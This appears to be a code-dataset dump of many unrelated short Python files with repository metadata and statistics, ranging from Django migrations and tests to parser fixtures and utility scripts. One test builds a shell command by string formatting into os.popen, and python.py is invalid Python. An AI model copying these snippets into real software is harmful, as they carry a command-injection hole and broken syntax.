oracles/abstract_oracle.py
nullpsifer/cryptosploit
e33cfca07397c05dffa734274c202acc7ff597b4
[ "MIT" ]
null
null
null
oracles/abstract_oracle.py
nullpsifer/cryptosploit
e33cfca07397c05dffa734274c202acc7ff597b4
[ "MIT" ]
null
null
null
oracles/abstract_oracle.py
nullpsifer/cryptosploit
e33cfca07397c05dffa734274c202acc7ff597b4
[ "MIT" ]
null
null
null
from abc import * from typing import List class OracleArgumentDescription(): def __init__(self, name: str, description: str, required: bool, defaultValue=None): self._name = name self._description = description self._required = required self._defaultValue = defaultValue def _g...
31.927536
106
0.68089
232
2,203
6.185345
0.25431
0.025087
0.04878
0.050174
0.129617
0.087805
0.087805
0.087805
0
0
0
0
0.246482
2,203
68
107
32.397059
0.864458
0.054471
0
0.044444
0
0
0.058168
0
0
0
0
0
0
1
0.244444
false
0.022222
0.044444
0.111111
0.688889
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
a209f4c71425e05b0da44770b02ab5523a35c2b6
429
py
Python
ABC121/C.py
shimomura314/AtcoderCodes
db1d62a7715f5f1b3c40eceff8d34f0f34839f41
[ "MIT" ]
null
null
null
ABC121/C.py
shimomura314/AtcoderCodes
db1d62a7715f5f1b3c40eceff8d34f0f34839f41
[ "MIT" ]
null
null
null
ABC121/C.py
shimomura314/AtcoderCodes
db1d62a7715f5f1b3c40eceff8d34f0f34839f41
[ "MIT" ]
null
null
null
n,m = map(int,input().split()) price_number = [0 for _ in range(n)] for i in range(n): price_number[i] = list(map(int,input().split())) price_number.sort() price = 0 index = 0 while m > 0: if m >= price_number[index][1]: price += price_number[index][0]*price_number[index][1] m -= price_number...
23.833333
62
0.589744
68
429
3.588235
0.323529
0.360656
0.327869
0.209016
0.54918
0.221311
0
0
0
0
0
0.030581
0.237762
429
18
63
23.833333
0.715596
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0.0625
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
a21a350c92633aeb6120297cd810ba6bb88d125d
4,901
py
Python
third_party/unidecode/x097.py
asysc2020/contentbox
5c155976e0ce7ea308d62293ab89624d97b21d09
[ "Apache-2.0" ]
39
2015-06-10T23:18:07.000Z
2021-10-21T04:29:06.000Z
third_party/unidecode/x097.py
asysc2020/contentbox
5c155976e0ce7ea308d62293ab89624d97b21d09
[ "Apache-2.0" ]
2
2016-08-22T12:38:10.000Z
2017-01-26T18:37:33.000Z
third_party/unidecode/x097.py
asysc2020/contentbox
5c155976e0ce7ea308d62293ab89624d97b21d09
[ "Apache-2.0" ]
26
2015-06-10T22:09:15.000Z
2021-06-27T15:45:15.000Z
data = ( 'Xu ', # 0x00 'Ji ', # 0x01 'Mu ', # 0x02 'Chen ', # 0x03 'Xiao ', # 0x04 'Zha ', # 0x05 'Ting ', # 0x06 'Zhen ', # 0x07 'Pei ', # 0x08 'Mei ', # 0x09 'Ling ', # 0x0a 'Qi ', # 0x0b 'Chou ', # 0x0c 'Huo ', # 0x0d 'Sha ', # 0x0e 'Fei ', # 0x0f 'Wen...
18.92278
21
0.368292
508
4,901
3.55315
0.769685
0
0
0
0
0
0
0
0
0
0
0.202318
0.419098
4,901
258
22
18.996124
0.431682
0.260967
0
0.713178
0
0
0.337303
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
a228d11cedfcb91cfa5e97b210fe8e53dae98a86
83
py
Python
python/analog voltage plotter.py
tallamjr/mbms
6763faa870d1a16f272b3eade70b433ed3df0e51
[ "MIT" ]
18
2018-06-07T07:11:59.000Z
2022-02-28T20:08:23.000Z
python/analog voltage plotter.py
tallamjr/mbms
6763faa870d1a16f272b3eade70b433ed3df0e51
[ "MIT" ]
1
2020-05-20T16:24:24.000Z
2020-05-21T09:03:24.000Z
python/analog voltage plotter.py
tallamjr/mbms
6763faa870d1a16f272b3eade70b433ed3df0e51
[ "MIT" ]
8
2019-04-10T16:04:11.000Z
2022-01-08T20:39:15.000Z
from microbit import * while True: print((pin2.read_analog(),)) sleep(100)
16.6
32
0.662651
11
83
4.909091
1
0
0
0
0
0
0
0
0
0
0
0.059701
0.192771
83
5
33
16.6
0.746269
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.25
0
0.25
0.25
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
3
bf8498f70d6848099adfa9b536630d74b9def6b4
105
py
Python
Python/7.py
daniLOLZ/variaRoba
757586d6c8d1ccfbcc79379a138e3328f94be8ff
[ "MIT" ]
null
null
null
Python/7.py
daniLOLZ/variaRoba
757586d6c8d1ccfbcc79379a138e3328f94be8ff
[ "MIT" ]
null
null
null
Python/7.py
daniLOLZ/variaRoba
757586d6c8d1ccfbcc79379a138e3328f94be8ff
[ "MIT" ]
null
null
null
sq = [i**2 for i in range(0, 11)] # print (sq) pari = [i for i in sq if i%2 == 0] print (pari)
13.125
35
0.495238
23
105
2.26087
0.478261
0.076923
0.230769
0
0
0
0
0
0
0
0
0.084507
0.32381
105
7
36
15
0.647887
0.095238
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0.333333
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
bfb74828cf68b2768981de297f12aff63f700ba7
5,224
py
Python
src/jsdtools/ast.py
gulan/jsdtools
1707f7c1571dcde6eac456caadb625f691a16bba
[ "0BSD" ]
null
null
null
src/jsdtools/ast.py
gulan/jsdtools
1707f7c1571dcde6eac456caadb625f691a16bba
[ "0BSD" ]
4
2018-09-04T14:40:24.000Z
2018-09-04T19:36:27.000Z
src/jsdtools/ast.py
gulan/jsdtools
1707f7c1571dcde6eac456caadb625f691a16bba
[ "0BSD" ]
null
null
null
#!python # TBD: children() or children_of() ? # TBD: provide map/filter/fold functions """ type Label = String data JSP = Lit Label | Seq Label [JSP] | Alt Label [JSP] | Rep Label JSP Each node has a uid. * retains identity even if labels change * lists of tuples of nodeid perm...
27.494737
75
0.57791
703
5,224
4.226174
0.28165
0.045439
0.014137
0.023561
0.224504
0.214406
0.214406
0.208684
0.208684
0.180074
0
0.002499
0.31049
5,224
189
76
27.640212
0.822321
0.37232
0
0.426829
0
0
0.033267
0
0
0
0
0
0.02439
1
0.353659
false
0.012195
0
0.158537
0.536585
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
449b52a678d5003e3e332ae18289c4ec498f3bc1
170
py
Python
SoftLayer/fixtures/SoftLayer_Network_LBaaS_Member.py
dvzrv/softlayer-python
9a5f6c6981bcc370084537b4d1769383499ce90d
[ "MIT" ]
126
2015-01-05T05:09:22.000Z
2021-07-02T00:16:35.000Z
SoftLayer/fixtures/SoftLayer_Network_LBaaS_Member.py
dvzrv/softlayer-python
9a5f6c6981bcc370084537b4d1769383499ce90d
[ "MIT" ]
969
2015-01-05T15:55:31.000Z
2022-03-31T19:55:20.000Z
SoftLayer/fixtures/SoftLayer_Network_LBaaS_Member.py
dvzrv/softlayer-python
9a5f6c6981bcc370084537b4d1769383499ce90d
[ "MIT" ]
176
2015-01-22T11:23:40.000Z
2022-02-11T13:16:58.000Z
# Should be sldn.softlayer.com/reference/datatypes/SoftLayer_Network_LBaaS_LoadBalancer deleteLoadBalancerMembers = {} addLoadBalancerMembers = deleteLoadBalancerMembers
42.5
87
0.882353
14
170
10.5
0.857143
0
0
0
0
0
0
0
0
0
0
0
0.058824
170
3
88
56.666667
0.91875
0.5
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
44ad0094aac5b9df1392a694312aab204df3173b
131
py
Python
mufa_constants.py
Josephkhland/MUFA-MMO
59a9b5452e7882c82fe8e4a7574cd768c52ea1e9
[ "MIT" ]
3
2020-05-03T02:09:36.000Z
2021-11-11T19:24:16.000Z
mufa_constants.py
Josephkhland/MUFA-MMO
59a9b5452e7882c82fe8e4a7574cd768c52ea1e9
[ "MIT" ]
1
2020-10-24T21:13:50.000Z
2020-10-26T11:54:25.000Z
mufa_constants.py
Josephkhland/MUFA-MMO
59a9b5452e7882c82fe8e4a7574cd768c52ea1e9
[ "MIT" ]
null
null
null
#World size determines how big the world map is. world_size = { "x" : 5, "y" : 5 } currency = "Gold" MAX_MONSTERS = 10000
14.555556
48
0.618321
20
131
3.95
0.8
0.227848
0
0
0
0
0
0
0
0
0
0.072165
0.259542
131
8
49
16.375
0.742268
0.358779
0
0
0
0
0.072289
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
44b1aa4724a90fbc7902e1948f36076ba11b88f2
334
py
Python
pyspedas/maven/config.py
pulupa/pyspedas
7228199cf16eca2a27d130f1e4985ef1e69462ea
[ "MIT" ]
75
2019-02-22T12:59:33.000Z
2022-02-26T15:33:20.000Z
pyspedas/maven/config.py
pulupa/pyspedas
7228199cf16eca2a27d130f1e4985ef1e69462ea
[ "MIT" ]
40
2019-07-02T07:46:34.000Z
2022-02-23T21:48:50.000Z
pyspedas/maven/config.py
pulupa/pyspedas
7228199cf16eca2a27d130f1e4985ef1e69462ea
[ "MIT" ]
43
2019-02-22T13:03:41.000Z
2022-01-24T19:26:59.000Z
import os CONFIG = {'local_data_dir': 'maven_data/'} # override local data directory with environment variables if os.environ.get('SPEDAS_DATA_DIR'): CONFIG['local_data_dir'] = os.sep.join([os.environ['SPEDAS_DATA_DIR'], 'maven']) if os.environ.get('MAVEN_DATA_DIR'): CONFIG['local_data_dir'] = os.environ['MA...
33.4
84
0.736527
51
334
4.529412
0.352941
0.212121
0.194805
0.233766
0.233766
0.233766
0.233766
0
0
0
0
0
0.10479
334
10
85
33.4
0.772575
0.167665
0
0
0
0
0.418773
0
0
0
0
0
0
1
0
false
0
0.166667
0
0.166667
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
44c8fc54bd2fb976d1fb8c97df555c608063c62e
265
py
Python
tests_django/base_case.py
camsn0w/pychatbot
d06117d060b5c21f7f62d1081a959ef3f1926b8c
[ "BSD-3-Clause" ]
null
null
null
tests_django/base_case.py
camsn0w/pychatbot
d06117d060b5c21f7f62d1081a959ef3f1926b8c
[ "BSD-3-Clause" ]
null
null
null
tests_django/base_case.py
camsn0w/pychatbot
d06117d060b5c21f7f62d1081a959ef3f1926b8c
[ "BSD-3-Clause" ]
null
null
null
from pychatbot import ChatBot from django.test import TransactionTestCase from tests_django import test_settings class pychatbotTestCase(TransactionTestCase): def setUp(self): super().setUp() self.chatbot = ChatBot(**test_settings.pychatbot)
24.090909
57
0.766038
29
265
6.896552
0.517241
0.12
0
0
0
0
0
0
0
0
0
0
0.162264
265
10
58
26.5
0.900901
0
0
0
0
0
0
0
0
0
0
0
0
1
0.142857
false
0
0.428571
0
0.714286
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
3
44f347d7219c5f9a5b47c028a4b681a2fc0914f3
912
py
Python
src/myapp/migrations/0002_auto_20191201_0551.py
kalamos-care/kalamos-app
be144a2101b80fae3d941a4ecf8dd74a40abaabc
[ "MIT" ]
null
null
null
src/myapp/migrations/0002_auto_20191201_0551.py
kalamos-care/kalamos-app
be144a2101b80fae3d941a4ecf8dd74a40abaabc
[ "MIT" ]
null
null
null
src/myapp/migrations/0002_auto_20191201_0551.py
kalamos-care/kalamos-app
be144a2101b80fae3d941a4ecf8dd74a40abaabc
[ "MIT" ]
null
null
null
# Generated by Django 2.2.1 on 2019-12-01 05:51 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('myapp', '0001_initial'), ] operations = [ migrations.AlterField( model_name='profile', name='dob', field...
26.823529
103
0.551535
89
912
5.539326
0.550562
0.162272
0.20284
0.235294
0.324544
0.324544
0
0
0
0
0
0.033654
0.315789
912
33
104
27.636364
0.75641
0.049342
0
0.444444
1
0
0.106358
0
0
0
0
0
0
1
0
false
0
0.037037
0
0.148148
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
78077e9159fc10d728b8f3c1f18772457517d585
686
py
Python
src/genie/libs/parser/iosxe/tests/ShowPlatformSoftwareYangManagementProcessState/cli/equal/golden_output_expected.py
balmasea/genieparser
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
[ "Apache-2.0" ]
204
2018-06-27T00:55:27.000Z
2022-03-06T21:12:18.000Z
src/genie/libs/parser/iosxe/tests/ShowPlatformSoftwareYangManagementProcessState/cli/equal/golden_output_expected.py
balmasea/genieparser
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
[ "Apache-2.0" ]
468
2018-06-19T00:33:18.000Z
2022-03-31T23:23:35.000Z
src/genie/libs/parser/iosxe/tests/ShowPlatformSoftwareYangManagementProcessState/cli/equal/golden_output_expected.py
balmasea/genieparser
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
[ "Apache-2.0" ]
309
2019-01-16T20:21:07.000Z
2022-03-30T12:56:41.000Z
expected_output = { 'confd-status': 'Started', 'processes': { 'nesd': { 'state': 'Active', 'status': 'Running' }, 'syncfd': { 'state': 'Active', 'status': 'Running' }, 'ncsshd': { 'state': 'Not Applicable', 'status': 'Running' }, 'dmiauthd': { 's...
18.052632
32
0.441691
50
686
6.04
0.38
0.301325
0.281457
0.397351
0.205298
0
0
0
0
0
0
0
0.33965
686
37
33
18.540541
0.666667
0
0
0.405405
0
0
0.427114
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
781c6bc168f9e1d064aae62572d739555196fa27
251
py
Python
migrations/20130417013030-image-metadata.py
AndrewLorente/catsnap
57427b8f61ef5185a41e49d55ffd7dd328777834
[ "MIT" ]
5
2015-11-23T18:40:00.000Z
2019-03-22T06:54:04.000Z
migrations/20130417013030-image-metadata.py
AndrewLorente/catsnap
57427b8f61ef5185a41e49d55ffd7dd328777834
[ "MIT" ]
5
2016-04-07T15:35:53.000Z
2019-02-10T23:00:32.000Z
migrations/20130417013030-image-metadata.py
AndrewLorente/catsnap
57427b8f61ef5185a41e49d55ffd7dd328777834
[ "MIT" ]
2
2015-12-02T16:44:05.000Z
2017-09-29T23:17:33.000Z
step( """ alter table image add column title text, add column description text """, """ alter table image drop column description, drop column title """ )
19.307692
39
0.446215
21
251
5.333333
0.47619
0.178571
0.267857
0
0
0
0
0
0
0
0
0
0.486056
251
12
40
20.916667
0.868217
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0
0
0
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
3
783ab0381410b9ca8a47e91a196a2ab5e5865d64
330
py
Python
NWatch/admin.py
mugendinjue/NeighbourhoodWatch
2588e08208f837b694a69d122cc46fc132accedd
[ "MIT" ]
1
2019-11-15T10:43:52.000Z
2019-11-15T10:43:52.000Z
NWatch/admin.py
mugendinjue/NeighbourhoodWatch
2588e08208f837b694a69d122cc46fc132accedd
[ "MIT" ]
7
2020-02-11T21:57:50.000Z
2021-09-22T18:02:19.000Z
NWatch/admin.py
mugendinjue/NeighbourhoodWatch
2588e08208f837b694a69d122cc46fc132accedd
[ "MIT" ]
null
null
null
from django.contrib import admin from .models import Health,Security,Profile,Business,Neighbourhood,Admin,Occupant,Posts admin.site.register(Health) admin.site.register(Security) admin.site.register(Profile) admin.site.register(Business) admin.site.register(Neighbourhood) admin.site.register(Admin) admin.site.register...
25.384615
87
0.833333
44
330
6.25
0.340909
0.229091
0.432727
0
0
0
0
0
0
0
0
0
0.054545
330
12
88
27.5
0.88141
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.222222
0
0.222222
0
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
3
784e1fda088f9d195962990ff3ab9b3501d80629
536
py
Python
configuration/exceptions.py
ieee-usj-sb/IEEE-USJ
50f25fee04bba23ca8550f3e4b56aae5fdde7aa9
[ "MIT" ]
null
null
null
configuration/exceptions.py
ieee-usj-sb/IEEE-USJ
50f25fee04bba23ca8550f3e4b56aae5fdde7aa9
[ "MIT" ]
null
null
null
configuration/exceptions.py
ieee-usj-sb/IEEE-USJ
50f25fee04bba23ca8550f3e4b56aae5fdde7aa9
[ "MIT" ]
null
null
null
__all__ = ( 'UIDValueError', 'ModelFieldError', 'ModelValidationError', 'EmailValidationError', 'PhoneValidationError', 'ForcedBalanceError', 'KeyCloakMigrationError' ) class UIDValueError(ValueError): pass class ModelFieldError(Exception): pass class ModelValidationError(Excep...
14.105263
40
0.727612
36
536
10.722222
0.333333
0.139896
0.233161
0
0
0
0
0
0
0
0
0
0.190299
536
37
41
14.486486
0.889401
0
0
0.304348
0
0
0.238806
0.041045
0
0
0
0
0
1
0
false
0.304348
0
0
0.304348
0
0
0
1
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
3
7861d7183831d2794de8d6ffa7b9ad2a6440e884
105
py
Python
quickstart-automate/main.py
Athe-kunal/cloud-build-samples
0598837a1b12a06d299e7e893c222802a6c5483d
[ "Apache-2.0" ]
null
null
null
quickstart-automate/main.py
Athe-kunal/cloud-build-samples
0598837a1b12a06d299e7e893c222802a6c5483d
[ "Apache-2.0" ]
null
null
null
quickstart-automate/main.py
Athe-kunal/cloud-build-samples
0598837a1b12a06d299e7e893c222802a6c5483d
[ "Apache-2.0" ]
null
null
null
def main(name): print(f'Hey {name}') if __name__ == '__main__': name = 'Astarag' main(name)
15
26
0.580952
14
105
3.785714
0.571429
0.45283
0
0
0
0
0
0
0
0
0
0
0.238095
105
6
27
17.5
0.6625
0
0
0
0
0
0.238095
0
0
0
0
0
0
1
0.2
false
0
0
0
0.2
0.2
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
7863e2e9dda0f56edffdc519bbf2318fce86786e
108
py
Python
python/python.py
aymanaboghonim/test-
8e68e6a176612dc52886bee354de9348d03bb2bd
[ "Apache-2.0" ]
null
null
null
python/python.py
aymanaboghonim/test-
8e68e6a176612dc52886bee354de9348d03bb2bd
[ "Apache-2.0" ]
null
null
null
python/python.py
aymanaboghonim/test-
8e68e6a176612dc52886bee354de9348d03bb2bd
[ "Apache-2.0" ]
null
null
null
def hello (user2) pass def greeting () print "greeting " def call_me (user ) print "hello"
9.818182
21
0.601852
14
108
4.571429
0.642857
0
0
0
0
0
0
0
0
0
0
0.013333
0.305556
108
10
22
10.8
0.84
0
0
0
0
0
0.12963
0
0
0
0
0
0
0
null
null
0.166667
0
null
null
0.333333
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
3
786fe0a715ec8da1c23e4e051840f1eb42d4d2e8
26
py
Python
suzieq/version.py
remilocherer/suzieq
0ff4810d64a579dfc847058941b5198395deffc6
[ "Apache-2.0" ]
null
null
null
suzieq/version.py
remilocherer/suzieq
0ff4810d64a579dfc847058941b5198395deffc6
[ "Apache-2.0" ]
null
null
null
suzieq/version.py
remilocherer/suzieq
0ff4810d64a579dfc847058941b5198395deffc6
[ "Apache-2.0" ]
null
null
null
SUZIEQ_VERSION = "0.12.0"
13
25
0.692308
5
26
3.4
0.8
0
0
0
0
0
0
0
0
0
0
0.173913
0.115385
26
1
26
26
0.565217
0
0
0
0
0
0.230769
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
787810e5ad2698b1abe66b28b9fa61d7eb11ed73
7,523
py
Python
tests/test_webhook.py
nalabelle/tilty
79d54f826f9df725c8d39616322280396adc3e7a
[ "MIT" ]
null
null
null
tests/test_webhook.py
nalabelle/tilty
79d54f826f9df725c8d39616322280396adc3e7a
[ "MIT" ]
null
null
null
tests/test_webhook.py
nalabelle/tilty
79d54f826f9df725c8d39616322280396adc3e7a
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- import datetime from unittest import mock import pytest from tilty.emitters import webhook def test_webhook_type( ): assert webhook.__type__() == 'Webhook' @mock.patch('tilty.emitters.webhook.METHODS') def test_webhook_get( mock_requests, ): config = { 'url': 'http://ww...
33.435556
141
0.559484
854
7,523
4.818501
0.162763
0.055893
0.04277
0.084569
0.767922
0.725152
0.684812
0.669745
0.655893
0.631592
0
0.062782
0.263193
7,523
224
142
33.584821
0.679596
0.079755
0
0.72449
0
0.010204
0.328308
0.045224
0
0
0
0
0.071429
1
0.030612
false
0
0.020408
0
0.05102
0
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
7885ef11ef826feb67568f94368e9779fbe56b1d
411
py
Python
data_collection/gazette/spiders/ba_muniz_ferreira.py
kaiocp/querido-diario
86004049c6eee305e13066cf3607d30849bb099a
[ "MIT" ]
454
2018-04-07T03:32:57.000Z
2020-08-17T19:56:22.000Z
data_collection/gazette/spiders/ba_muniz_ferreira.py
kaiocp/querido-diario
86004049c6eee305e13066cf3607d30849bb099a
[ "MIT" ]
254
2020-08-18T14:09:43.000Z
2022-03-28T11:30:51.000Z
data_collection/gazette/spiders/ba_muniz_ferreira.py
kaiocp/querido-diario
86004049c6eee305e13066cf3607d30849bb099a
[ "MIT" ]
183
2018-04-11T15:09:37.000Z
2020-08-15T18:55:11.000Z
from datetime import date from gazette.spiders.base.imprensa_oficial import ImprensaOficialSpider class BaMunizFerreiraSpider(ImprensaOficialSpider): name = "ba_muniz_ferreira" allowed_domains = ["pmmunizferreiraba.imprensaoficial.org"] start_date = date(2014, 12, 1) end_date = date(2021, 1, 19) ...
29.357143
71
0.756691
45
411
6.733333
0.733333
0.211221
0.231023
0
0
0
0
0
0
0
0
0.059829
0.145985
411
13
72
31.615385
0.803419
0
0
0
0
0
0.262774
0.090024
0
0
0
0
0
1
0
false
0
0.222222
0
1
0
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
3
789b8c855cc4cdb97fbc684bc0d56b33a0c25df9
4,281
py
Python
uwo_ps_utils/cropper.py
ommokazza/uwo_ps_utils
d3f5aba9c483e491049c0e48e4be4f48c9de22f1
[ "BSD-3-Clause" ]
null
null
null
uwo_ps_utils/cropper.py
ommokazza/uwo_ps_utils
d3f5aba9c483e491049c0e48e4be4f48c9de22f1
[ "BSD-3-Clause" ]
null
null
null
uwo_ps_utils/cropper.py
ommokazza/uwo_ps_utils
d3f5aba9c483e491049c0e48e4be4f48c9de22f1
[ "BSD-3-Clause" ]
2
2019-01-25T20:43:46.000Z
2019-01-29T05:58:53.000Z
"""This module get the cropped image from the screenshot. But to get the cropped image from 'Market Rates' screen, use 'market_rates_cropper.py'. About variables: chat : A line of chat. This contains teller and message. If the message is more than one line, it contains only the first line. msg : The message are...
25.945455
257
0.637935
630
4,281
4.247619
0.206349
0.089686
0.127803
0.161435
0.639013
0.607997
0.54148
0.504484
0.474589
0.474589
0
0.052421
0.242467
4,281
164
258
26.103659
0.772741
0.510395
0
0
0
0.021277
0.133854
0.133854
0
0
0
0
0
1
0.255319
false
0
0.021277
0.021277
0.553191
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
3
78ab21741ce67af9c0850860a4ab417260821d07
111
py
Python
actions/exceptions/__init__.py
diogodanielsoaresferreira/santa_bot
c09470abe23a998c4ad76214754cfa22012def2b
[ "Apache-2.0" ]
null
null
null
actions/exceptions/__init__.py
diogodanielsoaresferreira/santa_bot
c09470abe23a998c4ad76214754cfa22012def2b
[ "Apache-2.0" ]
null
null
null
actions/exceptions/__init__.py
diogodanielsoaresferreira/santa_bot
c09470abe23a998c4ad76214754cfa22012def2b
[ "Apache-2.0" ]
null
null
null
"""Exports the SlotNotFound exception.""" from .slot_not_found import SlotNotFound __all__ = ["SlotNotFound"]
22.2
41
0.774775
12
111
6.666667
0.833333
0
0
0
0
0
0
0
0
0
0
0
0.108108
111
4
42
27.75
0.808081
0.315315
0
0
0
0
0.171429
0
0
0
0
0
0
1
0
false
0
0.5
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
78cffb450ac179c92a15d6944d5dc0c58c02b395
233
py
Python
UserServer/unit_test/vpn_script_test.py
cxiaolong/XboxBackend
d42033c73d29a8ba43e359b32020fa55d1740da1
[ "MIT" ]
null
null
null
UserServer/unit_test/vpn_script_test.py
cxiaolong/XboxBackend
d42033c73d29a8ba43e359b32020fa55d1740da1
[ "MIT" ]
null
null
null
UserServer/unit_test/vpn_script_test.py
cxiaolong/XboxBackend
d42033c73d29a8ba43e359b32020fa55d1740da1
[ "MIT" ]
null
null
null
import os def get_vpn1_virtual_ip(certificate): r = os.popen('./getIp.sh -k %s' % certificate) vpn1_ip = r.read() r.close() return vpn1_ip certificate = "VPN1_li188_client_2" res = get_vpn1_virtual_ip(certificate)
19.416667
50
0.699571
36
233
4.222222
0.583333
0.256579
0.184211
0.210526
0.355263
0
0
0
0
0
0
0.04712
0.180258
233
12
51
19.416667
0.748691
0
0
0
0
0
0.149573
0
0
0
0
0
0
1
0.125
false
0
0.125
0
0.375
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
1530927749c90bc8938f5b7d0e45039b5d006b34
847
py
Python
django_proj/django-restful/vcp/lottery/views.py
Vinceeee/mypy
8846bb789a9e928a689feab847049027ed2d1a07
[ "Apache-2.0" ]
1
2019-02-01T15:01:04.000Z
2019-02-01T15:01:04.000Z
django_proj/django-restful/vcp/lottery/views.py
Vinceeee/mypy
8846bb789a9e928a689feab847049027ed2d1a07
[ "Apache-2.0" ]
null
null
null
django_proj/django-restful/vcp/lottery/views.py
Vinceeee/mypy
8846bb789a9e928a689feab847049027ed2d1a07
[ "Apache-2.0" ]
null
null
null
from django.conf import settings from rest_framework import generics from rest_framework.views import APIView from rest_framework.parsers import FileUploadParser from rest_framework.response import Response from lottery.models import Candidate, Price, Winner from lottery.serializers import CandidateSerializer, PriceS...
25.666667
86
0.761511
84
847
7.595238
0.392857
0.050157
0.106583
0.164577
0
0
0
0
0
0
0
0
0.16647
847
33
87
25.666667
0.903683
0.075561
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.4375
0
1
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
3
153b775b29ce17f22b9ccbc790c1219cb8999f41
155
py
Python
napari/components/_tests/test_cursor.py
MaksHess/napari
64a144607342c02177fc62fa83a3442ace0a98e7
[ "BSD-3-Clause" ]
1,345
2019-03-03T21:14:14.000Z
2022-03-31T19:46:39.000Z
napari/components/_tests/test_cursor.py
MaksHess/napari
64a144607342c02177fc62fa83a3442ace0a98e7
[ "BSD-3-Clause" ]
3,904
2019-03-02T01:30:24.000Z
2022-03-31T20:17:27.000Z
napari/components/_tests/test_cursor.py
MaksHess/napari
64a144607342c02177fc62fa83a3442ace0a98e7
[ "BSD-3-Clause" ]
306
2019-03-29T17:09:10.000Z
2022-03-30T09:54:11.000Z
from napari.components.cursor import Cursor def test_cursor(): """Test creating cursor object""" cursor = Cursor() assert cursor is not None
19.375
43
0.703226
20
155
5.4
0.65
0
0
0
0
0
0
0
0
0
0
0
0.206452
155
7
44
22.142857
0.878049
0.174194
0
0
0
0
0
0
0
0
0
0
0.25
1
0.25
false
0
0.25
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
3
155a137f003080e72d610585318ffadd5f1d8d76
219
py
Python
test_.py
